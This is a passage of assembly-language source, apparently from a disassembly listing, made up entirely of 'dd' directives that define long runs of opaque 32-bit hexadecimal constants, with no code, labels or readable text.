0B903F4h, 8E7A3DD0h, 0DD587B06h dd 3FF18702h, 0C12447D2h, 48208090h, 6EFD00BFh, 9C9E8E97h dd 1C4BF41Eh, 427888h, 2D46321h, 8762E14Ah, 64CFF204h dd 14884741h, 26E30090h, 0F1786355h, 0B51FC2A9h, 40ECF553h dd 2350D504h, 0AF7548Ch, 38C59D0Eh, 0A0830298h, 10F9778Eh dd 0E5546200h, 1FF8136Bh, 0C1C2D32Ah, 0C5D930F1h, 0D859CE02h dd 0DC8E440Eh, 0B182980h, 765C88Fh, 984574B9h, 590A5092h dd 0D0A13843h, 80E07876h, 0E0841A02h, 2D260ACCh, 58469D8h dd 0BFC5CD4h, 64055DF8h, 1F88C886h, 0F7809C91h, 0FA790558h dd 1ED6A078h, 0D3840248h, 3CE0ADC8h, 3900187Ah, 1A20631Dh dd 15E5CE3h, 5A1525F6h, 0E04A4DC0h, 0CE7D889Ah, 70DA551Ch dd 0A41FFD8Fh, 54B236D1h, 8A3DB101h, 78C48EF1h, 3D180FCh dd 1F5107h, 5A6CC39h, 0ED85AAD2h, 0EA894401h, 32D18CE1h dd 0D43C502Ah, 0B61C3CC0h, 602AFF6h, 0F286625Fh, 8C66FFh dd 0E785BCDAh, 797ED736h, 0C10B9FE4h, 901950A0h, 140C232Ch dd 0C4743477h, 0ACDD01DFh, 0F17391C8h, 8AD9D066h, 143C1300h dd 4A2CBF19h, 4149448h, 0F0B48B62h, 8902F424h, 0C35E2EFDh dd 0ED947217h, 3354E4h, 66B5512Ch, 6E656BD3h, 5F2AB600h dd 0CB141F37h, 23A5063Eh, 58AF420Fh, 1BA9480Fh, 5A9486BAh dd 0D184450h, 377FC271h, 0DD51CD2Eh, 0C95DFE01h, 828B1186h dd 0A08581F1h, 24A2A4h, 7BDBEFE0h, 71428A5h, 12AB196Bh dd 0B38039F6h, 7CF7B6BDh, 0F9A79C05h, 8420DC18h, 165F3EBEh dd 8C9265Bh, 0A8A98D44h, 0A1496880h, 14DB107Ch, 0F8FDD172h dd 61658680h, 6713F60Ah, 1CB3E6D8h, 0E2E9A100h, 6C4ED192h dd 1F88A3Bh, 740B7668h, 4047C318h, 5F36FA51h, 0CFC90428h dd 6F3E6057h, 44C0B8B8h, 3B22E048h, 17E7AACh, 6F595E0Dh dd 0E487D8ADh, 4D586DD7h, 0EBA204B0h, 30ACEE2Ah, 0CB0F5061h dd 7CE4DAE0h, 0A5F8F974h, 0FCD4022Ch, 50C9C21Fh, 8EE85916h dd 472451F6h, 853F405Bh, 3C4361h, 1B71384Ah, 86A97E19h dd 20F28E00h, 0E8DABA6Ah, 0E6D090BDh, 0F070F798h, 2B2F0D64h dd 0FC9021F4h, 34A41050h, 6581791Dh, 0F31CF500h, 0C45DACh dd 6620319Fh, 678C5EEAh, 1D3E2E0Bh, 4E5884C3h, 70E4C41h dd 0A06247h, 26623CF6h, 7761EB6h, 0E0A8B155h, 0DA131057h dd 3A7B7EDDh, 683E1FF0h, 0BA561680h, 0D166F802h, 0C1C5934h dd 0ECB8138Eh, 88FDC100h, 385D2380h, 682424AAh, 0E86B01D9h dd 50994531h, 30C590E4h dd 88DBF900h, 750D1FA9h, 6C9097ADh, 0F83EA571h, 0BBD40048h dd 0CFEAE3D3h, 8B34B8D2h, 0B814A384h, 7BACD9FBh, 0E2020089h dd 0B62FC965h, 64F8CC76h, 0E5196005h, 3C004654h, 28BD0436h dd 5BBF00CBh, 796424E0h, 60911C50h, 5A9A8A09h, 0DE212B4h dd 4E94A3DFh, 1058EC82h, 0DC043773h, 7C70BEECh, 95DB01BFh dd 0DCCBF0FCh, 0C14739Dh, 2D84A98Ah, 80048FDEh, 455B0960h dd 0ED5D04F1h, 0C01DA241h, 1BFB0E18h, 0FDD88095h, 3B6994CAh dd 0DCC83690h, 41B78B80h, 8CF88D2Dh, 6B3E1B00h, 38C60832h dd 98D89DC5h, 3843264Ah, 0A8A3695Ah, 7D26746h, 0F536510Eh dd 4E38D29Fh, 88004071h, 77482EF7h, 7E090118h, 25CF3A28h dd 40FF31C8h, 1D59437Ch, 0F8A7750Bh, 7BC44846h, 0FB493F3Ah dd 0F82E2412h, 3BA0013Eh, 4F6AF634h, 0F728612Ah, 18F8D823h dd 0FD4AB10Eh, 69427ED0h, 0C0DE1E47h, 2BAF5F5h, 0DE0C1C7h dd 34802606h, 0D91DE955h, 7211DD09h, 24BA806Ch, 138E497h dd 65F259A2h, 2B463E63h, 1611E040h, 0F6C283BFh, 0EFFAD7h dd 0AD9B273h, 6F0D0552h, 697EF113h, 0F20094E2h, 0F3CA1B70h dd 0B71E0C57h, 0D640E3CBh, 73AADAFh, 0DBB42422h, 76D00BC8h dd 610008C4h, 9454DDC8h, 0CDE95DFh, 8BCF190Fh, 7C963C89h dd 0B1804E80h, 157D9DBh, 0E588B747h, 0CCA019E6h, 0D4981006h dd 58BD562Eh, 9C02D000h, 5C4EFB6h, 23EE88E1h, 34C5C04Fh dd 0B438AE41h, 95C10243h, 70509A83h, 782C0080h, 8C365DB1h dd 3A26F3C5h, 0A90900F4h, 0A5642265h, 6C4C2B9Bh, 0F8517913h dd 0F12590C8h, 7817E560h, 0BFB0004Ah, 20601272h, 3602DD89h dd 1ED347F8h, 405456EEh, 0E7CE7475h, 0B4CC498h, 0D7300348h dd 0E63FFC90h, 4FB6077Ah, 3157FFBEh, 6D658A5Dh, 3F970018h dd 0DE40B8Bh, 9A8F13DEh, 9D2800F5h, 96C16FC8h, 443AD624h dd 50D2DD8Ch, 0CB170BA3h, 5450E2E5h, 5447FA11h, 0F48A8B00h dd 30B1D085h, 0BBEC400h, 5B8867E9h, 0E7583B64h, 0F67C9781h dd 0F0349FCCh, 1626E30Ah, 8B1F7012h, 0C11BC200h, 9F3CF397h dd 0BDB31090h, 0C9A3BC00h, 8388E2F2h, 18894C51h, 0DC6059C9h dd 504B228Ch, 80F43421h, 1986ADCh, 9B94B87Ah, 62928AB1h dd 0A0204F54h, 0ECF750h, 4B22200Ch, 72D46FEFh, 0A3186100h dd 9F2F4025h, 63CE0FAFh, 0BB2F57B0h, 4D790400h, 0EF03125Ah dd 76D22D14h, 7738A1C9h, 27090C20h, 9CE4B5A3h, 0D582D91Ch dd 20C74E8Eh, 9EECFBDh, 0FB870525h, 0A20DDAD1h, 27DC00C8h dd 0F7BD1FC7h, 7EAA07C0h, 55283996h, 1A64A403h, 3B017A7Eh dd 0F84A4518h, 292A07D2h, 0DA2460A8h, 0BE3B8A44h, 0AA4587E8h dd 0B87E1038h, 0E6126875h, 5B008429h, 0C0DF4F8Eh, 0D17003F7h dd 6CE16066h, 999791B0h, 0F1C6E5FBh, 2F44632Ch, 33501088h dd 0EDFC5CACh, 52DE8B03h, 29002117h, 94F64F88h, 0F9C1690Dh dd 9245C2Dh, 0D1033C31h, 0ADD87A78h, 0BDA98EA8h, 0B90C2F01h dd 7DF9F062h, 0EAA6030h, 0C8DA360Bh, 0E0E15887h, 6950230Ch dd 677C1A03h, 0F9CB646Bh, 1470C6B8h, 5E7A6161h, 81D3FAAEh dd 0CF9F0A30h, 742D2364h, 0F50A5C1h, 10C9A5A7h, 41FCACh dd 56EE32D0h, 4CC463B0h, 802A223Ch, 0D97B49BCh, 2EFF9E2h dd 0B7D695E3h, 0E8A0E064h, 8A4749CEh, 0C4ED2E25h, 74BA01D0h dd 467A8D06h, 0CD8180D4h, 0FCD13048h, 554B00D8h, 925CA832h dd 4304356Fh, 0A08913C2h, 4A89B8E8h, 820070E6h, 77B49E9Fh dd 1E6CBADAh, 89FA365Bh, 38E4A283h, 80857638h, 25171ADAh dd 26A16CA7h, 52BB612h, 0A499890Fh, 4202CFA0h, 9B311925h dd 1C4E3FAh, 0AF30A88Ch, 0D826350Bh, 6C94B2BAh, 575DD40h dd 93AE0003h, 4AA339F7h, 4F004D32h, 452F046Eh, 12CEBA35h dd 0B25B7191h, 2B660014h, 1F0CDDB9h, 0CEC4002Eh, 1647A898h dd 647837B0h, 9ED57805h, 0A02035D1h, 2C30608Fh, 1E926E44h dd 45146689h, 0CD7C9859h, 3ADD016h, 0ABC06094h, 66059F5h dd 2DFD3FF9h, 1B445848h, 0BD143B88h, 74C1AEA7h, 98E9F0E6h dd 0D7511D02h, 41CAE3AAh, 2A29AAh, 0A7DA2EB4h, 0ACF8F4BAh dd 0ECC42F1Ch, 55323300h, 0F829705Fh, 5C0F0088h, 0D471ED6Fh dd 5001DDFh, 15D7ABB7h, 0F4711AEh, 29CAF583h, 45F0503Bh dd 0D60FE4EFh, 18C08D30h, 0A37F68h, 5690FD59h, 389EF496h dd 0CACB6206h, 397A21h, 0D50AC258h, 0A113072Dh, 0D1F22303h dd 382AC6E4h, 0C00B220h, 1396B8EAh, 710050AEh, 0C25DDFE2h dd 0C07B4F0Eh, 0FDADCC49h, 5E398E6Eh, 8C2A0C13h, 7089BFh dd 17813BAFh, 0E199ABCFh, 39404F30h, 1C43EEh, 1D1BF0D1h dd 3150510Ch, 0B8367E0Ah, 0DC4498DDh, 0C042E7C2h, 0E733393h dd 0DD59E77Dh, 0C45C2178h, 0EBFBF907h, 7FE0C04Ch, 6360C3h dd 6FAD7B2Bh, 0D0735DFh, 0F57AA6FEh, 0F7DB7506h, 41E6DCh dd 7EEF0938h, 0D2211E39h, 0F7B7C400h, 0FBBB53A9h, 37E85Ch dd 0B536827Dh, 0BF207F38h, 90329601h, 0AA425E35h, 0E2D74980h dd 50D6CC26h, 2391701h, 0A2DCBC94h, 76692180h, 0BEDF3B6h dd 37447F01h, 461840B3h, 0E4F2E040h, 0BC5854FDh, 78A0A48Dh dd 0B12F1DD1h, 6D580ACh, 0CE2CD4Dh, 69544EE6h, 0C17C02A4h dd 0D776EB00h, 0B638F701h, 6DD90358h, 0E1C6C3C2h, 0A22065C8h dd 7C802950h, 6C3F6400h, 0B60B0515h, 46070393h, 0D4CC4558h dd 0CDE97900h, 88F5EB50h, 994C60DAh, 31EE464h, 73FCDE01h dd 9BDD3A4Bh, 7CBBE180h, 31AF99F9h, 64483Bh, 500E9535h dd 104F629h, 84A74967h, 20FCBE20h, 616EF859h, 77540759h dd 0E6DC7A93h, 711D0051h, 0C1C2E27Bh, 0E0FD092Ah, 0B9F4FFF5h dd 80462039h, 1A0C0791h, 60575E65h, 0BE3739A8h, 2348CAA7h dd 1E809F90h, 543AAE7Ch, 684B035Ah, 0E2660D7Dh, 8B7182D8h dd 0C0557800h, 0E475F451h, 0F5B288FFh, 24B54600h, 0EA565484h dd 0CF8E010Bh, 2BC57C9Ch, 0F298144h, 838CD031h, 0A050BDC9h dd 997776Fh, 24CE434Ah, 27CFCC18h, 5C78EB0Eh, 5515802Ah dd 0E9173C9Ah, 3CEDDE4h, 26A5367Bh, 2FFBE492h, 725488D4h dd 58392507h, 0D721C9FEh, 0A0F4F1ECh, 0C5060023h, 1EE16E75h dd 0C100367Ah, 7CBD4631h, 0C0AB5B5Eh, 7BE2DD41h, 1C914FF3h dd 31AC402Dh, 3ABE7BFDh, 0E4021E08h, 759477A3h, 0CCD5B283h dd 5054C0C9h, 0DE74CE88h, 405EB30Ch, 604E599Eh, 0D2295176h dd 90001853h, 2DF6A1F9h, 0CB4403h, 45BEEC19h, 0E3DD9C0Ah dd 811A1502h, 469A33C4h, 0E2CF00F4h, 2BB6E90Ah, 14987663h dd 2FCA3114h, 9D9180E4h, 7CAD7F7Bh, 0C02252A3h, 73D45802h dd 64400A66h, 449834BCh, 0C391A500h, 0F5B921F8h, 575F003Fh dd 897B0517h, 360074BEh, 4DA1CBCEh, 0A83C4Ch, 46F35AD6h dd 0C912585Dh, 45881E3h, 595EACFFh, 0D8383832h, 0CA8088C8h dd 70871A9h, 65D1DC03h, 0E836EF8Bh, 15D52A1Fh, 0FCDB8D95h dd 448E9200h, 634EB525h, 512B9C0h, 0D47AE7h, 41969B4Dh dd 137935EBh, 0AEDC9D18h, 992C71h, 45BB500Bh, 4624802Dh dd 36CFEF00h, 0E967FDB0h, 0CDC22638h, 577D090Ch, 0E68001DFh dd 2890AEDh, 401896F8h, 250028E0h, 0CF2F0714h, 676273h dd 7F827280h, 4EEF4494h, 80A16C6Eh, 0C9DC8CF5h, 3B0F00ABh dd 78252B12h, 0D89064E1h, 0E02C9C78h, 1E120838h, 0C78D9C61h dd 587F7180h, 0CD30F296h, 51003D76h, 5A110812h, 11DAA24Ch dd 0F6E4E2Eh, 8738EE49h dd 4F70A0A8h, 0DC2A45h, 263D587Bh, 0C98C3720h, 0D75D59C0h dd 75C8C35Fh, 760E673h, 2A370E81h, 8021A7B3h, 0C36CBF0Fh dd 6EC931C0h, 3A9271h, 43010D6Fh, 7ABA30C4h, 0EE375000h dd 0FFF26775h, 0DAA240DDh, 20585100h, 2AD31C79h, 0FB2107B5h dd 0E6A9C725h, 1D05E960h, 0CF27BECBh, 2C38800h, 0F0363C46h dd 0A7050A0Fh, 0CC99F0h, 0C2378717h, 15F0F312h, 0D7E3B800h dd 0E60CF4B3h, 98183054h, 717B2028h, 0F04F9E28h, 20BA004h dd 4082903Dh, 448029ADh, 7DDE6094h, 0E5DC851Ah, 0E86DC19h dd 11C0E6BDh, 825FF0F1h, 0A345B300h, 57C327FCh, 0D7E13F73h dd 3366CA00h, 1C6CAED0h, 1BC23005h, 0C440784Eh, 2CEB01F0h dd 0B87471CBh, 9B544408h, 24BEED03h, 0A9585Eh, 7862179h dd 0D4E2B81Ah, 7906FF79h, 614F2C67h, 75A14C51h, 4A8D8500h dd 7258EFACh, 204E782Eh, 579DD040h, 0CEB5009Fh, 0D5287646h dd 30589907h, 93CB3BDCh, 0F023415Eh, 8E1AD0E4h, 2A13F36h dd 0CF638483h, 2101ACDCh, 699ED2D7h, 0CC41537Eh, 46301CC1h dd 374501A2h, 8C36BE6Fh, 0D20C24E2h, 7638C200h, 8D2A8364h dd 6319C0C8h, 1DB36AA5h, 4A70DD00h, 92D304A3h, 0BDA901EAh dd 0D7B69C6Ch, 0E4B8314Dh, 9D002B6Dh, 0D4777D42h, 28EB1B57h dd 0A8CB220h, 0E9C32804h, 25276FB0h, 0D4CBDE1Dh, 183D4498h dd 55FCC400h, 95917231h, 0D19E04BAh, 0C0D60C41h, 0C0C24628h dd 0D0607A89h, 0E37D3E7Bh, 19E4E73Fh, 0EF78C075h, 0BF064A4Fh dd 474E7A42h, 763C0079h, 9CCB6095h, 8D28B9DEh, 0EB028F8Eh dd 0C08013A3h, 0B04486h, 9812DAC2h, 8EE934ECh, 16143D00h dd 0F6375FA4h, 774F04C6h, 4EBC6CC8h, 0D2A6C08Bh, 1463210Ch dd 0E0D5AE5Eh, 9F6F5400h, 6498105Dh, 0DD5A141Dh, 789DEFC2h dd 50D46191h, 5FB830h, 0E6D434E9h, 0C297F0FBh, 1957D109h dd 0AE2CB03Ch, 2D0412F8h, 0A4EC208Ch, 5A0033CCh, 0E218785Dh dd 0B68105Ch, 0DFD165FAh, 0C04A890h, 8773D872h, 819085E8h dd 9861A701h, 8D9C0224h, 0BF00DC62h, 0BA808367h, 7D2E86B9h dd 2460B4EFh, 7C23D533h, 665005Ah, 0B56D77F9h, 5F02E518h dd 0B9B035DEh, 178861BAh, 54CC5421h, 797D3C49h, 140F124h dd 6C862004h, 250217C7h, 595CC051h, 101B3A5Ch, 212F0E00h dd 6157AB81h, 7A3FF973h, 944980EDh, 0C43A6C54h, 68066209h dd 0A8524ED6h, 577B2D00h, 0DE725671h, 0A0660030h, 8A55C7A4h dd 978BA2DCh, 25E0CAC0h, 0B9DD0096h, 0E357FB17h, 48F745FCh dd 2831C384h, 53E15979h, 0CB64C70h, 852050F4h, 220A55B0h dd 0B4D03D24h, 8C719861h, 0B9F7FCh, 0EBFE3ABDh, 8595020Fh dd 675E7500h, 0F3359F93h, 80889192h, 4FA0816Ch, 0EF01035Fh dd 0B354F1BFh, 0A8C374E9h, 988B085Ch, 1238E6B0h, 1DCBFD58h dd 0EBE3442Ch, 108CC8DCh, 8023B03Fh, 522590D0h, 0C066DFBFh dd 0CC20DC99h, 9307C370h, 0BA122960h, 0EF011C21h, 11D3420h dd 3DA37B9h, 2029DD28h, 3560A44Ch, 9FF26FE8h, 29EE81Fh dd 0D9D022D4h, 0D8605F3Ah, 7630555Ch, 0DF6128A8h, 0CF71C042h dd 1D806419h, 8904301h, 0D8276BC0h, 2177DFh, 0C1CD8E32h dd 0D22052F4h, 84210604h, 1C85E730h, 0C15384h, 0E023FD2Dh dd 338C100h, 8AFCF345h, 91BE2C00h, 7E0D5E3Eh, 265F02F2h dd 499E1607h, 46DDE860h, 0E8DEC329h, 0CEB97C00h, 0C1624F85h dd 2667BE51h, 30C0FCD9h, 497739h, 0A8F2B048h, 0BE73A2h dd 8D7ECCEh, 6E2B83F8h, 0D6753E00h, 9EB68750h, 84952693h dd 60270044h, 547C3597h, 8C5C5971h, 4E6807Ch, 12200D44h dd 942BE3E4h, 92F482F8h, 4555B482h, 31074BC3h, 3D376C3Fh dd 0AC88CD71h, 0EF16FFCh, 57E475F5h, 1A0F20F4h, 0CD80DE9Fh dd 0D23746D6h, 40123600h, 0EE39DD03h, 7FE8E0C4h, 404F4A2Ah dd 0C1509B50h, 7C0130E1h, 6EA98BAFh, 79F4AA32h, 61AE04B3h dd 0C41BBD45h, 0C36004B4h, 2A40A42Ch, 37806CB9h, 66E9CD46h dd 0DFA00D4h, 0F22DCF1Eh, 0BE7DD0CBh, 8C7F6507h, 2FF64F22h dd 0CCBF1BE8h, 35B8C15Ah, 3650163Ah, 85008697h, 6609B942h dd 0F3B7254h, 0DFB130E6h, 1CC231F8h, 0D13E45FAh, 3415C65h dd 8C22AE28h, 0E19107CEh, 0E0417C5Fh, 31A47E09h, 6C1D6600h dd 7DCA6DAFh, 74F14CA6h, 3B05C522h, 206C7173h, 881C01BFh dd 0E85B316Eh, 68909D76h, 0F52A5F01h, 0F4A2207Bh, 130D74D0h dd 0D04ECD62h, 2232820h, 0D3EF1A04h, 708CCC56h, 7E85002Eh dd 0BBD7A3E2h, 0CDE20C09h, 0A692F200h, 0CA84AA21h, 6F449E22h dd 3C37DFE0h, 910F4D59h, 45C460Ch, 0C0CC759Ah, 0DF6D0036h dd 1F86D0AEh, 0B9007167h, 2153E492h, 13E16B91h, 204FA1CDh dd 0C9BA432Ch, 5F1B7B05h, 0C480D6EDh, 0CA337FFh, 0D020C572h dd 0F0C0CA29h, 0EAD45DB9h, 130749Ch, 0E251E103h, 107F4E4Ch dd 0F0B8302h, 0DD99C749h, 0CCF51645h, 38006E3Ch, 0F293AE10h dd 170B29BDh, 213C5E30h, 60D52094h, 0A006B70h, 0CF218375h dd 0F31307h, 10883D97h, 0CD8755F6h, 0F7AC1501h, 0F4D437DEh dd 1D3A80C4h, 0C4C321AEh, 8C177CCAh, 800B344h, 0CCC99131h dd 1A6DE95h, 67FEDA10h, 0DE09E250h, 0F61C3859h, 65DCD807h dd 0A08452E3h, 14DB48h, 757BF369h, 0B046AF5Dh, 803CCC48h dd 537064C0h, 1A99001Dh, 0DFA3659Eh, 0C4448D69h, 0AEF600E7h dd 90C81F83h, 0B9010C1Ah, 0D96721DBh, 72E5374Ch, 256165CCh dd 9CA9C0E4h, 9F1C8C44h, 0D4C44D51h, 5A407B4Eh, 0B8DD15B3h dd 18EF363Bh, 6D3951CCh, 0EC6AFC3Ch, 0E35C39B1h, 72F24480h dd 7C3BD9D4h, 7B75E002h, 98575F77h, 4A5EA1BCh, 0B8A02042h dd 0EF4C1B3Ah, 0A35A189Eh, 0C07D4E19h, 48F69D81h, 1DFCC08Fh dd 3AD3700h, 72502685h, 0E7322ED6h, 6DF1861h, 6090A5A8h dd 0C014FA48h, 3C4E1CCh, 12803956h, 0F079807h, 0A486A453h dd 434CA83Ch, 81B80BDAh, 76FB80CBh, 79E7D45Bh, 7AAE1C8Ch dd 4A8A8271h, 0DC469298h, 0CBD1A307h, 0E0601783h, 1CBE6CA8h dd 4B0F1F24h, 500FC2B6h, 42901CB6h, 0D67AFE7Dh, 1EFA84C6h dd 0B56FE504h, 0BCC29358h, 6E5520DBh, 58901D70h, 0E0232F5Ah dd 8B48B05Fh, 5E9B0916h, 0F880F82Ah, 588D0F15h, 2412D439h dd 0A400A0BFh, 416D6357h, 20AF4B5Bh, 5E48A1A4h, 58D31400h dd 0BCDB7D57h, 0FFA31FC5h, 45CE3E9Ch, 88614EACh, 7A1C6E74h dd 0DF80E1BCh, 70D172A1h, 3258E4h, 7E755280h, 0A30F8B0Bh dd 0A2F4BEF6h, 0E0F5966Ch, 514318h, 9702034Eh, 0CEC82774h dd 3823CA26h, 0EC703440h, 20F85BE4h, 0C1D31A74h, 0E0C09CB0h dd 0CFB6F11Eh, 0DC4D3936h, 80747D9Dh, 77954611h, 0C1548D23h dd 5F300A90h, 0E59A60BDh, 29180B39h, 4480CC7Ah, 202C3D30h dd 8BA30E3Ch, 78E1D7h, 45FEC1ECh, 9AB300D6h, 94755F54h dd 9C13FBF9h, 0A8C8C531h, 0EB68705Ch, 24D8E8h, 6E369F3Bh dd 2D4BB6ADh, 0EE406201h, 6CCF338Fh, 79D848h, 1B7F8743h dd 2301ADBBh, 5E37B009h, 0E480103Dh, 361DEECh, 673676D5h dd 0EC07ABA7h, 0AA97A07Bh, 9960DCFFh, 0C1A41931h, 0E4291C7Ah dd 69C3C759h, 7E6C80DFh, 6304EF8Dh, 0A8555E84h, 6A103740h dd 0D09E2ACAh, 0DED701BCh, 3F5FD21Bh, 7E00A9BEh, 0E481AE4Eh dd 0C82C1358h, 0D411BCE2h, 8720D20Dh, 0BA2C10B8h, 56003FE6h dd 6F0C05E1h, 0A0C6E45Ch, 905F1CD8h, 0D030040h, 0CCA5121Dh dd 3899DFBAh, 495E1403h dd 486298BEh, 547A078Ch, 409D6A51h, 84BD154Dh, 0F088FE60h dd 2CC25DBEh, 8D70Bh, 292416FBh, 0FF4EE474h, 5D5FC40h dd 188BC639h, 0E9454F6Eh, 710BC451h, 3BDDF6h, 0DC11D9DEh dd 0D2070E6Fh, 9032D898h, 0F5EDE94h, 10F1450Fh, 5790E005h dd 7E89A5FDh, 0ED4624F3h, 67760CCh, 301C807h, 6CF98757h dd 84F0F1C7h, 4C301D1h, 0CA2936DDh, 13603220h, 890C245h dd 1F5F5Ah, 57604170h, 0A7F0A08Ch, 6F54A301h, 39D42059h dd 40E04C57h, 1350D5h, 44E44C64h, 75FEF514h, 0A274C501h dd 0BA21CFC2h, 9801F825h, 4306224h, 32832606h, 0FC82084h dd 7824F1Ah, 0D8D16F02h, 0FE008C52h, 0C3751F8h, 14ACD574h dd 0B86EEC1Eh, 60F4122Ch, 3309AD18h, 82BD0500h, 0E5759C29h dd 1487F4Dh, 1463B32Ch, 107F4E26h, 11E32E0h, 0CABF67F0h dd 228C3541h, 10C70BD0h, 7EF90062h, 2478EB80h, 0C02C0F08h dd 0CAEA15E4h, 81402858h, 57A71258h, 161427C4h, 1EA5F641h dd 0DF70C690h, 9A0339AFh, 0A66CC751h, 9EF2FEA4h, 70F6A764h dd 0CA0BA200h, 135079AEh, 404DF8E1h, 0FC0F5A98h, 49C0A1DCh dd 29A20169h, 0E2405CA9h, 3EF8C028h, 808B6C54h, 0E01236C5h dd 0CC00E446h, 0DB4E3572h, 2FE13E22h, 9C20DD11h, 576F82A1h dd 0D2C5E507h, 66A0B34Fh, 7D3A35h, 0C77F7B83h, 8267A31h dd 0DE2B8400h, 7585F373h, 9F57178Fh, 0A5E0CCC4h, 15B06600h dd 0EBFD50D2h, 0F1CD0063h, 0AD799C3Eh, 680A1607h, 8C5B5E64h dd 6082DD44h, 27F020D5h, 7403F537h, 85CF24BAh, 0D1B64Fh dd 0FB68EE39h, 0B10FE5ABh, 68E02FE9h, 2EE21Eh, 546E7E63h dd 0CA47C259h, 0F22F3801h, 67CC8746h, 448F8451h, 0EAE534DCh dd 2E0D0BE4h, 0C804553Fh, 1C74D8E7h, 79607402h, 5228C32Ah dd 8C9211E8h, 0E05600C8h, 336D671Ah, 530500DCh, 0D1226A8Eh dd 0D21F65A6h, 1A530C6Fh, 4206C10h, 4FE8C337h, 0CD4488h dd 8422625Ch, 0E5B463BCh, 0D675F50Bh, 850C42E2h, 4A806D8Ch dd 1D208B9Dh, 0C0CAF3C8h, 0A8F5D5B9h, 0B11789F1h, 58089075h dd 7A7882A9h, 58445B5Fh, 28E2CD0Fh, 63528375h, 34C100C6h dd 27A3F7E1h, 88002F84h, 0F4CE4408h, 5F64C54h, 0D8E2DBD3h dd 7288405Eh, 0F5516F79h, 280CD1Eh, 50AC7A00h, 5294C1E6h dd 6A01B0DFh, 0E0D27F8Ah, 77942093h, 0DC21C54Ah, 83D2EF45h dd 58595EF0h, 7867B889h, 1C57C0EDh, 99D47Eh, 9870AA80h dd 0F602DDEAh, 7E6FE03Ah, 7409956h, 1035A17Bh, 7DA3AA99h dd 95B8207h, 71D379B1h, 80F6E2E2h, 75162680h, 0D9741C30h dd 0A73742B3h, 5C56F9E4h, 63804862h, 2ECE854h, 8794B6DDh dd 0B009498Dh, 86A09F7Ah, 34BDA102h, 51CB0429h, 5617014Ch dd 34357F84h, 2FF46B68h, 5759D3Ch, 0D63D9916h, 42E5A830h dd 86020712h, 0D0822E40h, 0A4D63C14h, 62BF1F09h, 78C4C8D9h dd 70A10020h, 98E77482h, 0EE004E54h, 5006AB8Ah, 0FEE1632Ch dd 0B8D150CFh, 37CA2103h, 4F6C13BBh, 0FE510820h, 0A81900DCh dd 5CC00DF5h, 0B1027216h, 21EF7042h, 0A25CE811h, 80662875h dd 0A72B3AD4h, 870C0704h, 0E4A21Eh, 604F10D4h, 0E09AC6h dd 0FC2BCBB3h, 3E9F2D46h, 0BC871B28h, 0D47A271Dh, 3157C0Eh dd 0AA3769h, 0BA8776A8h, 55547035h, 4A5EDF3Ah, 0F1CEB820h dd 21FD2DEBh, 7810B410h, 4398E377h, 0DCF59D12h, 0CD9AC491h dd 0F1E65E80h, 2C0D1028h, 489DF730h, 28EBE82h, 277AF57Fh dd 2CC45BD8h, 590022EEh, 42233C26h, 954C9Eh, 2E60B610h dd 0D418B961h, 0FD6534B0h, 98825CC8h, 0CC002944h, 3D84F0EBh dd 4BC8BE05h, 0C7CD89h, 28A0F480h, 13EE1DD5h, 2792C235h dd 7064CC46h, 96D1F300h, 9CD09E7Ah, 4A3F006Fh, 0B34694A5h dd 0FF0068FBh, 319BA3FAh, 0A6E5A7h, 6D2A4578h, 844E1CE7h dd 79AAC918h, 6F25E030h, 85003891h, 0A8E5B8Fh, 94102160h dd 0C0B2615Fh, 0B5325959h, 43FC026h, 93416041h, 187865h dd 0F4ABE3CFh, 0C7F54C6Eh, 8DD08F00h, 0F8068925h, 29C907E9h dd 0B3CCEBBAh, 6107492Ch, 6351BCC6h, 60987AC0h, 8E960A85h dd 40422Fh, 934D7F78h, 0C328D775h, 62015C40h, 0B05916FEh dd 3220630Ch, 403318E4h, 364A2195h, 7203233Ah, 0D7000190h dd 52071176h, 1C5FC26Eh, 804DC88Fh, 0E8F0D4B8h, 55018DD3h dd 0C0EFBA9Fh, 4996E340h, 651300FEh, 9963BF69h, 0CD122E03h dd 0A3EDA105h, 5A04B07Fh, 678503B8h, 4C785629h, 0BE051D8h dd 4EAC9054h, 6F268A18h, 0A9D8270h, 0B63356EDh, 0B59C80ACh dd 0D8164B47h, 14BBE90Ch, 0FC2739ABh, 90D27ECFh, 35B80061h dd 0B17532E8h, 0BBFB4F36h, 0B7B683C1h, 3AC14DDh, 40162339h dd 0CDB0C133h, 4B54118Dh, 5A00A3A8h, 0B1FE55FBh, 9AEEECCh dd 5B0337A6h, 0EB59BE00h, 0D2002ABBh, 256A3274h, 1AF68BAh dd 0CCA3DA97h, 22A9C684h, 44363A1Ch, 3EE94C39h, 0C0118230h dd 0C2012157h, 40113808h, 7AD00F8Fh, 0F92A05A3h, 0C1717523h dd 0ECE8EFAAh, 0B93FA919h, 516E14B2h, 100924C4h, 9622E940h dd 70F80054h, 78387AE4h, 32EC9D9Bh, 6039717Dh, 761280D3h dd 4F08508Fh, 33FC0DD2h, 31A9AB41h, 27476095h, 2A0C5B78h dd 0A9AE13DBh, 0A403019Dh, 4BE86EEDh, 5BD1808Ch, 0C09971Dh dd 0A6870062h, 8F454AE7h, 0F607F2D2h, 73BB6693h, 44058D72h dd 46C60054h, 324D982Ah, 77300DD9h, 1D63C8EFh, 0BE083E7Fh dd 23316900h, 0C97BBD85h, 240628FEh, 8707BADAh, 8C120091h dd 53F736E6h, 8600D6AEh, 13E985EDh, 308D3569h, 4E72507Dh dd 990764C8h, 54A2C998h, 4C329010h, 761B0F85h, 4F803A6Dh dd 0A7DE840Ch, 0C3C884ABh, 4A306880h, 76A3E9B4h, 7EBE02BBh dd 8616DCFCh, 12B20C61h, 6BAC81B6h, 0DAF11076h, 30E0A848h dd 0DDB19234h, 7D066D6Fh, 1FADE93h, 0D3148040h, 0E73204FCh dd 84D74B6Ch, 0AD5880B0h, 8289371h, 1442A08Bh, 61705F01h dd 418EC484h, 80801320h, 7DD21B69h, 530373Fh, 7CA1C152h dd 0E6CA80A8h, 5300B307h, 7D8E8B6Ah, 71DDD298h, 0E31C0F55h dd 70006212h, 16334B49h, 295F9E13h, 432A6820h, 0C422FBE9h dd 531516h, 0B2149AF9h, 0BD099BC9h, 0E1EEB5h, 21B14CB4h dd 0BE4300E8h, 74ADEF7Bh, 0D900199Ch, 0A9B9429Bh, 506AEA62h dd 20699CCCh, 0A644E11Eh, 5C660370h, 0AD1486F2h, 4F6BD900h dd 96E19C08h, 7840F9D3h, 0F401D6BFh, 5AFA02h, 0DB73487Bh dd 9DAA763Eh, 0E4015EB8h, 70BF2757h, 0F9CC1532h, 1E376C4h dd 4D8482C9h, 0D71465DAh, 